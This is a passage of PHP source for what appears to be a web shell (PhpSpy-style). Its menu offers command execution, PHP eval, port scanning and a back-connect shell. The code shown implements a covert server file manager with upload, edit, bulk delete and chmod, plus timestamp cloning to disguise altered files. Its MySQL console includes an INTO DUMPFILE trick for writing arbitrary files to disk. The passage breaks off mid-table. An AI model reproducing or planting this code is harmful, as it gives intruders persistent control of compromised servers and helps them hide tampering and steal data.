  285. function g(action,nowpath,p1,p2,p3,p4,p5) {
  286.     if(!action) return;
  287.     s(action,nowpath,p1,p2,p3,p4,p5);
  288.     $('opform').submit();
  289. }
  290. </script>
  291. </head>
  292. <body style="margin:0;table-layout:fixed; word-break:break-all">
  293. <?php
  294. formhead(array('name'=>'opform'));
  295. makehide('action', $action);
  296. makehide('nowpath', $nowpath);
  297. makehide('p1', $p1);
  298. makehide('p2', $p2);
  299. makehide('p3', $p3);
  300. makehide('p4', $p4);
  301. makehide('p5', $p5);
  302. formfoot();

  303. if(!function_exists('posix_getegid')) {
  304.     $user = @get_current_user();
  305.     $uid = @getmyuid();
  306.     $gid = @getmygid();
  307.     $group = "?";
  308. } else {
  309.     $uid = @posix_getpwuid(@posix_geteuid());
  310.     $gid = @posix_getgrgid(@posix_getegid());
  311.     $user = $uid['name'];
  312.     $uid = $uid['uid'];
  313.     $group = $gid['name'];
  314.     $gid = $gid['gid'];
  315. }

  316. ?>
  317. <table width="100%" border="0" cellpadding="0" cellspacing="0">
  318.     <tr class="head">
  319.         <td><span style="float:right;"><?php echo @php_uname();?> / User:<?php echo $uid.' ( '.$user.' ) / Group: '.$gid.' ( '.$group.' )';?></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
  320.     </tr>
  321.     <tr class="alt1">
  322.         <td>
  323.             <span style="float:right;">PHP <?php echo PHP_VERSION;?> / Safe Mode:<?php echo getcfg('safe_mode');?></span>
  324.             <a href="javascript:g('logout');">Logout</a> |
  325.             <a href="javascript:g('file');">File Manager</a> |
  326.             <a href="javascript:g('mysqladmin');">MYSQL Manager</a> |
  327.             <a href="javascript:g('sqlfile');">MySQL Upload & Download</a> |
  328.             <a href="javascript:g('shell');">Execute Command</a> |
  329.             <a href="javascript:g('phpenv');">PHP Variable</a> |
  330.             <a href="javascript:g('portscan');">Port Scan</a> |
  331.             <a href="javascript:g('secinfo');">Security information</a> |
  332.             <a href="javascript:g('eval');">Eval PHP Code</a>
  333.             <?php if (!IS_WIN) {?> | <a href="javascript:g('backconnect');">Back Connect</a><?php }?>
  334.         </td>
  335.     </tr>
  336. </table>
  337. <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
  338. <?php
  339. $errmsg && m($errmsg);

  340. // 获取当前路径
  341. if (!$dir) {
  342.     $dir = $_SERVER["DOCUMENT_ROOT"] ? $_SERVER["DOCUMENT_ROOT"] : '.';
  343. }
  344. $nowpath = getPath(SA_ROOT, $dir);
  345. if (substr($dir, -1) != '/') {
  346.     $dir = $dir.'/';
  347. }

  348. if ($action == 'file') {

  349.     // 判断读写情况
  350.     $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';

  351.     // 创建目录
  352.     if ($newdirname) {
  353.         $mkdirs = $nowpath.$newdirname;
  354.         if (file_exists($mkdirs)) {
  355.             m('Directory has already existed');
  356.         } else {
  357.             m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
  358.             @chmod($mkdirs,0777);
  359.         }
  360.     }

  361.     // 上传文件
  362.     elseif ($doupfile) {
  363.         m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
  364.     }

  365.     // 编辑文件
  366.     elseif ($editfilename && $filecontent) {
  367.         $fp = @fopen($editfilename,'w');
  368.         m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
  369.         @fclose($fp);
  370.     }

  371.     // 编辑文件属性
  372.     elseif ($pfile && $newperm) {
  373.         if (!file_exists($pfile)) {
  374.             m('The original file does not exist');
  375.         } else {
  376.             $newperm = base_convert($newperm,8,10);
  377.             m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
  378.         }
  379.     }

  380.     // 改名
  381.     elseif ($oldname && $newfilename) {
  382.         $nname = $nowpath.$newfilename;
  383.         if (file_exists($nname) || !file_exists($oldname)) {
  384.             m($nname.' has already existed or original file does not exist');
  385.         } else {
  386.             m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
  387.         }
  388.     }

  389.     // 复制文件
  390.     elseif ($sname && $tofile) {
  391.         if (file_exists($tofile) || !file_exists($sname)) {
  392.             m('The goal file has already existed or original file does not exist');
  393.         } else {
  394.             m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
  395.         }
  396.     }

  397.     // 克隆时间
  398.     elseif ($curfile && $tarfile) {
  399.         if (!@file_exists($curfile) || !@file_exists($tarfile)) {
  400.             m('The goal file has already existed or original file does not exist');
  401.         } else {
  402.             $time = @filemtime($tarfile);
  403.             m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
  404.         }
  405.     }

  406.     // 自定义时间
  407.     elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
  408.         if (!@file_exists($curfile)) {
  409.             m(basename($curfile).' does not exist');
  410.         } else {
  411.             $time = strtotime("$year-$month-$day $hour:$minute:$second");
  412.             m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
  413.         }
  414.     }

  415.     // 批量删除文件
  416.     elseif($doing == 'delfiles') {
  417.         if ($dl) {
  418.             $dfiles='';
  419.             $succ = $fail = 0;
  420.             foreach ($dl as $filepath) {
  421.                 if (is_dir($filepath)) {
  422.                     if (@deltree($filepath)) {
  423.                         $succ++;
  424.                     } else {
  425.                         $fail++;
  426.                     }
  427.                 } else {
  428.                     if (@unlink($filepath)) {
  429.                         $succ++;
  430.                     } else {
  431.                         $fail++;
  432.                     }
  433.                 }
  434.             }
  435.             m('Deleted folder/file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);
  436.         } else {
  437.             m('Please select folder/file(s)');
  438.         }
  439.     }

  440.     //操作完毕
  441.     formhead(array('name'=>'createdir'));
  442.     makehide('newdirname');
  443.     makehide('dir',$nowpath);
  444.     formfoot();
  445.     formhead(array('name'=>'fileperm'));
  446.     makehide('newperm');
  447.     makehide('pfile');
  448.     makehide('dir',$nowpath);
  449.     formfoot();
  450.     formhead(array('name'=>'copyfile'));
  451.     makehide('sname');
  452.     makehide('tofile');
  453.     makehide('dir',$nowpath);
  454.     formfoot();
  455.     formhead(array('name'=>'rename'));
  456.     makehide('oldname');
  457.     makehide('newfilename');
  458.     makehide('dir',$nowpath);
  459.     formfoot();
  460.     formhead(array('name'=>'fileopform', 'target'=>'_blank'));
  461.     makehide('action');
  462.     makehide('opfile');
  463.     makehide('dir');
  464.     formfoot();
  465.     formhead(array('name'=>'getsize'));
  466.     makehide('getdir');
  467.     makehide('dir');
  468.     formfoot();

  469.     $free = @disk_free_space($nowpath);
  470.     !$free && $free = 0;
  471.     $all = @disk_total_space($nowpath);
  472.     !$all && $all = 0;
  473.     $used = $all-$free;
  474.     p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.@round(100/($all/$free),2).'%)</h2>');

  475.     $cwd_links = '';
  476.     $path = explode('/', $nowpath);
  477.     $n=count($path);
  478.     for($i=0;$i<$n-1;$i++) {
  479.         $cwd_links .= '<a href="javascript:godir(\'';
  480.         for($j=0;$j<=$i;$j++) {
  481.             $cwd_links .= $path[$j].'/';
  482.         }
  483.         $cwd_links .= '\');">'.$path[$i].'/</a>';
  484.     }

  485. ?>
  486. <script type="text/javascript">
  487. document.onclick = shownav;
  488. function shownav(e){
  489.     var src = e?e.target:event.srcElement;
  490.     do{
  491.         if(src.id =="jumpto") {
  492.             $('inputnav').style.display = "";
  493.             $('pathnav').style.display = "none";
  494.             //hidenav();
  495.             return;
  496.         }
  497.         if(src.id =="inputnav") {
  498.             return;
  499.         }
  500.         src = src.parentNode;
  501.     }while(src.parentNode)

  502.     $('inputnav').style.display = "none";
  503.     $('pathnav').style.display = "";
  504. }
  505. </script>
  506. <div style="background:#eee;margin-bottom:10px;">
  507.     <table id="pathnav" width="100%" border="0" cellpadding="5" cellspacing="0">
  508.         <tr>
  509.             <td width="100%"><?php echo $cwd_links.' - '.getChmod($nowpath).' / '.getPerms($nowpath).getUser($nowpath);?> (<?php echo $dir_writeable;?>)</td>
  510.             <td nowrap><input class="bt" id="jumpto" name="jumpto" value="Jump to" type="button"></td>
  511.         </tr>
  512.     </table>
  513.     <table id="inputnav" width="100%" border="0" cellpadding="5" cellspacing="0" style="display:none;">
  514.     <form action="" method="post" id="godir" name="godir">
  515.         <tr>
  516.             <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
  517.             <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:99%;margin:0 8px;"></td>
  518.             <td nowrap><input class="bt" value="GO" type="submit"></td>
  519.         </tr>
  520.     </form>
  521.     </table>
  522. <?php
  523.     if (IS_WIN && IS_COM) {
  524.         $obj = new COM('scripting.filesystemobject');
  525.         if ($obj && is_object($obj) && $obj->Drives) {
  526.             echo '<div class="drives">';
  527.             $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
  528.             $comma = '';
  529.             foreach($obj->Drives as $drive) {
  530.                 if ($drive->Path) {
  531.                     p($comma.'<a href="javascript:godir(\''.$drive->Path.'/\');">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
  532.                     $comma = '<span>|</span>';
  533.                 }
  534.             }
  535.             echo '</div>';
  536.         }
  537.     }
  538. ?>
  539. </div>
  540. <?php
  541.     $findstr = $_POST['findstr'];
  542.     $re = $_POST['re'];
  543.     tbhead();
  544.     p('<tr class="alt1"><td colspan="7" style="padding:5px;line-height:20px;">');
  545.     p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$nowpath.'" type="hidden" /><input name="dir" value="'.$nowpath.'" type="hidden" /></div></form>');
  546.     p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
  547.     p(' | <a href="javascript:godir(\'.\');">ScriptPath</a>');
  548.     p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
  549.     p(' | View Writable ( <a href="javascript:godir(\''.$nowpath.'\',\'dir\');">Directory</a>');
  550.     p(' | <a href="javascript:godir(\''.$nowpath.'\',\'file\');">File</a> )');
  551.     p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');

  552.     p('<div style="padding:5px 0;"><form action="'.$self.'" method="POST">Find string in files(current folder): <input class="input" name="findstr" value="'.$findstr.'" type="text" /> <input class="bt" value="Find" type="submit" /> Type: <input class="input" name="writabledb" value="'.$writabledb.'" type="text" /><input name="dir" value="'.$dir.'" type="hidden" /> <input name="re" value="1" type="checkbox" '.($re ? 'checked' : '').' /> Regular expressions</form></div></td></tr>');

  553.     p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');

  554.     //查看所有可写文件和目录
  555.     $dirdata=array();
  556.     $filedata=array();

  557.     if ($view_writable == 'dir') {
  558.         $dirdata = GetWDirList($nowpath);
  559.         $filedata = array();
  560.     } elseif ($view_writable == 'file') {
  561.         $dirdata = array();
  562.         $filedata = GetWFileList($nowpath);
  563.     } elseif ($findstr) {
  564.         $dirdata = array();
  565.         $filedata = GetSFileList($nowpath, $findstr, $re);
  566.     } else {
  567.         // 目录列表
  568.         //scandir()效率更高
  569.         $dirs=@opendir($dir);
  570.         while ($file=@readdir($dirs)) {
  571.             $filepath=$nowpath.$file;
  572.             if(@is_dir($filepath)){
  573.                 $dirdb['filename']=$file;
  574.                 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
  575.                 $dirdb['dirchmod']=getChmod($filepath);
  576.                 $dirdb['dirperm']=getPerms($filepath);
  577.                 $dirdb['fileowner']=getUser($filepath);
  578.                 $dirdb['dirlink']=$nowpath;
  579.                 $dirdb['server_link']=$filepath;
  580.                 $dirdata[]=$dirdb;
  581.             } else {        
  582.                 $filedb['filename']=$file;
  583.                 $filedb['size']=sizecount(@filesize($filepath));
  584.                 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
  585.                 $filedb['filechmod']=getChmod($filepath);
  586.                 $filedb['fileperm']=getPerms($filepath);
  587.                 $filedb['fileowner']=getUser($filepath);
  588.                 $filedb['dirlink']=$nowpath;
  589.                 $filedb['server_link']=$filepath;
  590.                 $filedata[]=$filedb;
  591.             }
  592.         }// while
  593.         unset($dirdb);
  594.         unset($filedb);
  595.         @closedir($dirs);
  596.     }
  597.     @sort($dirdata);
  598.     @sort($filedata);
  599.     $dir_i = '0';

  600.     p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
  601.     makehide('action','file');
  602.     makehide('thefile');
  603.     makehide('doing');
  604.     makehide('dir',$nowpath);

  605.     foreach($dirdata as $key => $dirdb){
  606.         if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
  607.             if($getdir && $getdir == $dirdb['server_link']) {
  608.                 $attachsize = dirsize($dirdb['server_link']);
  609.                 $attachsize = is_numeric($attachsize) ? sizecount($attachsize) : 'Unknown';
  610.             } else {
  611.                 $attachsize = '<a href="javascript:getsize(\''.$dirdb['server_link'].'\',\''.$dir.'\');">Stat</a>';
  612.             }
  613.             $thisbg = bg();
  614.             p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
  615.             p('<td width="2%" nowrap><input name="dl[]" type="checkbox" value="'.$dirdb['server_link'].'"></td>');
  616.             p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
  617.             p('<td nowrap><a href="javascript:opfile(\'newtime\',\''.$dirdb['server_link'].'\',\''.$dirdb['dirlink'].'\');">'.$dirdb['mtime'].'</a></td>');
  618.             p('<td nowrap>'.$attachsize.'</td>');
  619.             p('<td nowrap>');
  620.             p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
  621.             p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
  622.             p('<td nowrap><a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
  623.             p('</tr>');
  624.             $dir_i++;
  625.         } else {
  626.             if($dirdb['filename']=='..') {
  627.                 p('<tr class='.bg().'>');
  628.                 p('<td align="center">-</td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
  629.                 p('</tr>');
  630.             }
  631.         }
  632.     }

  633.     p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
  634.     $file_i = '0';

  635.     foreach($filedata as $key => $filedb){
  636.         if($filedb['filename']!='..' && $filedb['filename']!='.') {
  637.             $fileurl = str_replace($_SERVER["DOCUMENT_ROOT"],'',$filedb['server_link']);
  638.             $thisbg = bg();
  639.             p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
  640.             p('<td width="2%" nowrap><input name="dl[]" type="checkbox" value="'.$filedb['server_link'].'"></td>');
  641.             p('<td>'.((strpos($filedb['server_link'], $_SERVER["DOCUMENT_ROOT"]) !== false) ? '<a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a>' : $filedb['filename']).'</td>');
  642.             p('<td nowrap><a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">'.$filedb['mtime'].'</a></td>');
  643.             p('<td nowrap>'.$filedb['size'].'</td>');
  644.             p('<td nowrap>');
  645.             p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
  646.             p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
  647.             p('<td nowrap>');
  648.             p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
  649.             p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
  650.             p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
  651.             p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a>');
  652.             p('</td></tr>');
  653.             $file_i++;
  654.         }
  655.     }
  656.     p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
  657.     p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td colspan="4"><a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
  658.     p('</form></table>');
  659. }// end dir

  660. elseif ($action == 'sqlfile') {
  661.     if($doing=="mysqlupload"){
  662.         $file = $_FILES['uploadfile'];
  663.         $filename = $file['tmp_name'];
  664.         if (file_exists($savepath)) {
  665.             m('The goal file has already existed');
  666.         } else {
  667.             if(!$filename) {
  668.                 m('Please choose a file');
  669.             } else {
  670.                 $fp=@fopen($filename,'r');
  671.                 $contents=@fread($fp, filesize($filename));
  672.                 @fclose($fp);
  673.                 $contents = bin2hex($contents);
  674.                 if(!$upname) $upname = $file['name'];
  675.                 $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  676.                 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
  677.                 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
  678.             }
  679.         }
  680.     }
  681. ?>
  682. <script type="text/javascript">
  683. function mysqlfile(doing){
  684.     if(!doing) return;
  685.     $('doing').value=doing;
  686.     $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
  687.     $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
  688.     $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
  689.     $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
  690.     $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
  691.     $('mysqlfile').charset.value=$('dbinfo').charset.value;
  692.     $('mysqlfile').submit();
  693. }
  694. </script>
  695. <?php
  696.     !$dbhost && $dbhost = 'localhost';
  697.     !$dbuser && $dbuser = 'root';
  698.     !$dbport && $dbport = '3306';
  699.     formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
  700.     makehide('action','sqlfile');
  701.     p('<p>');
  702.     p('DBHost:');
  703.     makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
  704.     p(':');
  705.     makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
  706.     p('DBUser:');
  707.     makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
  708.     p('DBPass:');
  709.     makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
  710.     p('DBName:');
  711.     makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
  712.     p('DBCharset:');
  713.     makeselect(array('name'=>'charset','option'=>$charsetdb,'selected'=>$charset,'nokey'=>1));
  714.     p('</p>');
  715.     formfoot();
  716.     p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
  717.     p('<h2>Upload file</h2>');
  718.     p('<p><b>This operation the DB user must has FILE privilege</b></p>');
  719.     p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
  720.     p('<h2>Download file</h2>');
  721.     p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
  722.     makehide('dbhost');
  723.     makehide('dbport');
  724.     makehide('dbuser');
  725.     makehide('dbpass');
  726.     makehide('dbname');
  727.     makehide('charset');
  728.     makehide('doing');
  729.     makehide('action','sqlfile');
  730.     p('</form>');
  731. }

  732. elseif ($action == 'mysqladmin') {
  733.     !$dbhost && $dbhost = 'localhost';
  734.     !$dbuser && $dbuser = 'root';
  735.     !$dbport && $dbport = '3306';
  736.     $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
  737.     if(isset($dbhost)){
  738.         $dbform .= "<input type="hidden" id="dbhost" name="dbhost" value="$dbhost" />\n";
  739.     }
  740.     if(isset($dbuser)) {
  741.         $dbform .= "<input type="hidden" id="dbuser" name="dbuser" value="$dbuser" />\n";
  742.     }
  743.     if(isset($dbpass)) {
  744.         $dbform .= "<input type="hidden" id="dbpass" name="dbpass" value="$dbpass" />\n";
  745.     }
  746.     if(isset($dbport)) {
  747.         $dbform .= "<input type="hidden" id="dbport" name="dbport" value="$dbport" />\n";
  748.     }
  749.     if(isset($dbname)) {
  750.         $dbform .= "<input type="hidden" id="dbname" name="dbname" value="$dbname" />\n";
  751.     }
  752.     if(isset($charset)) {
  753.         $dbform .= "<input type="hidden" id="charset" name="charset" value="$charset" />\n";
  754.     }

  755.     if ($doing == 'backupmysql' && $saveasfile) {
  756.         if (!$table) {
  757.             m('Please choose the table');
  758.         } else {
  759.             $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  760.             $fp = @fopen($path,'w');
  761.             if ($fp) {
  762.                 foreach($table as $k => $v) {
  763.                     if ($v) {
  764.                         sqldumptable($v, $fp);
  765.                     }
  766.                 }
  767.                 fclose($fp);               
  768.                 $fileurl = str_replace(SA_ROOT,'',$path);
  769.                 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
  770.                 mysql_close();
  771.             } else {
  772.                 m('Backup failed');
  773.             }
  774.         }
  775.     }
  776.     if ($insert && $insertsql) {
  777.         $keystr = $valstr = $tmp = '';
  778.         foreach($insertsql as $key => $val) {
  779.             if ($val) {
  780.                 $keystr .= $tmp.$key;
  781.                 $valstr .= $tmp."'".addslashes($val)."'";
  782.                 $tmp = ',';
  783.             }
  784.         }
  785.         if ($keystr && $valstr) {
  786.             $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  787.             m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
  788.         }
  789.     }
  790.     if ($update && $insertsql && $base64) {
  791.         $valstr = $tmp = '';
  792.         foreach($insertsql as $key => $val) {
  793.             $valstr .= $tmp.$key."='".addslashes($val)."'";
  794.             $tmp = ',';
  795.         }
  796.         if ($valstr) {
  797.             $where = base64_decode($base64);
  798.             $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  799.             m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
  800.         }
  801.     }
  802.     if ($doing == 'del' && $base64) {
  803.         $where = base64_decode($base64);
  804.         $delete_sql = "DELETE FROM $tablename WHERE $where";
  805.         $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  806.         m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
  807.     }

  808.     if ($tablename && $doing == 'drop') {
  809.         $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  810.         if (q("DROP TABLE $tablename")) {
  811.             m('Drop table of success');
  812.             $tablename = '';
  813.         } else {
  814.             m(mysql_error());
  815.         }
  816.     }

  817.     formhead(array('title'=>'MYSQL Manager'));
  818.     makehide('action','mysqladmin');
  819.     p('<p>');
  820.     p('DBHost:');
  821.     makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
  822.     p(':');
  823.     makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
  824.     p('DBUser:');
  825.     makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
  826.     p('DBPass:');
  827.     makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
  828.     p('DBCharset:');
  829.     makeselect(array('name'=>'charset','option'=>$charsetdb,'selected'=>$charset,'nokey'=>1));
  830.     makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
  831.     p('</p>');
  832.     formfoot();

  833.     //操作记录
  834.     formhead(array('name'=>'recordlist'));
  835.     makehide('doing');
  836.     makehide('action','mysqladmin');
  837.     makehide('base64');
  838.     makehide('tablename');
  839.     p($dbform);
  840.     formfoot();

  841.     //选定数据库
  842.     formhead(array('name'=>'setdbname'));
  843.     makehide('action','mysqladmin');
  844.     p($dbform);
  845.     if (!$dbname) {
  846.         makehide('dbname');
  847.     }
  848.     formfoot();

  849.     //选定表
  850.     formhead(array('name'=>'settable'));
  851.     makehide('action','mysqladmin');
  852.     p($dbform);
  853.     makehide('tablename');
  854.     makehide('page',$page);
  855.     makehide('doing');
  856.     formfoot();

  857.     $cachetables = array();     
  858.     $pagenum = 30;
  859.     $page = intval($page);
  860.     if($page) {
  861.         $start_limit = ($page - 1) * $pagenum;
  862.     } else {
  863.         $start_limit = 0;
  864.         $page = 1;
  865.     }
  866.     if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
  867.         $mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  868.         //获取数据库信息
  869.         $mysqlver = mysql_get_server_info();
  870.         p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
  871.         $highver = $mysqlver > '4.1' ? 1 : 0;

  872.         //获取数据库
  873.         $query = q("SHOW DATABASES");
  874.         $dbs = array();
  875.         $dbs[] = '-- Select a database --';
  876.         while($db = mysql_fetch_array($query)) {
  877.             $dbs[$db['Database']] = $db['Database'];
  878.         }
  879.         makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
  880.         $tabledb = array();
  881.         if ($dbname) {
  882.             p('<p>');
  883.             p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
  884.             if ($tablename) {
  885.                 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
  886.             }
  887.             p('</p>');
  888.             mysql_select_db($dbname);

  889.             $getnumsql = '';
  890.             $runquery = 0;
  891.             if ($sql_query) {
  892.                 $runquery = 1;
  893.             }
  894.             $allowedit = 0;
  895.             if ($tablename && !$sql_query) {
  896.                 $sql_query = "SELECT * FROM $tablename";
  897.                 $getnumsql = $sql_query;
  898.                 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
  899.                 $allowedit = 1;
  900.             }
  901.             p('<form action="'.$self.'" method="POST">');
  902.             p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
  903.             makehide('tablename', $tablename);
  904.             makehide('action','mysqladmin');
  905.             p($dbform);
  906.             p('</form>');
  907.             if ($tablename || ($runquery && $sql_query)) {
  908.                 if ($doing == 'structure') {
  909.                     $result = q("SHOW FULL COLUMNS FROM $tablename");
  910.                     $rowdb = array();
  911.                     while($row = mysql_fetch_array($result)) {
  912.                         $rowdb[] = $row;
  913.                     }
  914.                     p('<h3>Structure</h3>');
  915.                     p('<table border="0" cellpadding="3" cellspacing="0">');
  916.                     p('<tr class="head">');
  917.                     p('<td>Field</td>');
  918.                     p('<td>Type</td>');
  919.                     p('<td>Collation</td>');
  920.                     p('<td>Null</td>');
  921.                     p('<td>Key</td>');
  922.                     p('<td>Default</td>');
  923.                     p('<td>Extra</td>');
  924.                     p('<td>Privileges</td>');
  925.                     p('<td>Comment</td>');
  926.                     p('</tr>');
  927.                     foreach ($rowdb as $row) {
  928.                         $thisbg = bg();
  929.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
  930.                         p('<td>'.$row['Field'].'</td>');
  931.                         p('<td>'.$row['Type'].'</td>');
  932.                         p('<td>'.$row['Collation'].' </td>');
  933.                         p('<td>'.$row['Null'].' </td>');
  934.                         p('<td>'.$row['Key'].' </td>');
  935.                         p('<td>'.$row['Default'].' </td>');
  936.                         p('<td>'.$row['Extra'].' </td>');
  937.                         p('<td>'.$row['Privileges'].' </td>');
  938.                         p('<td>'.$row['Comment'].' </td>');
  939.                         p('</tr>');
  940.                     }
  941.                     tbfoot();
  942.                     $result = q("SHOW INDEX FROM $tablename");
  943.                     $rowdb = array();
  944.                     while($row = mysql_fetch_array($result)) {
  945.                         $rowdb[] = $row;
  946.                     }
  947.                     p('<h3>Indexes</h3>');
  948.                     p('<table border="0" cellpadding="3" cellspacing="0">');
  949.                     p('<tr class="head">');
  950.                     p('<td>Keyname</td>');
  951.                     p('<td>Type</td>');
  952.                     p('<td>Unique</td>');
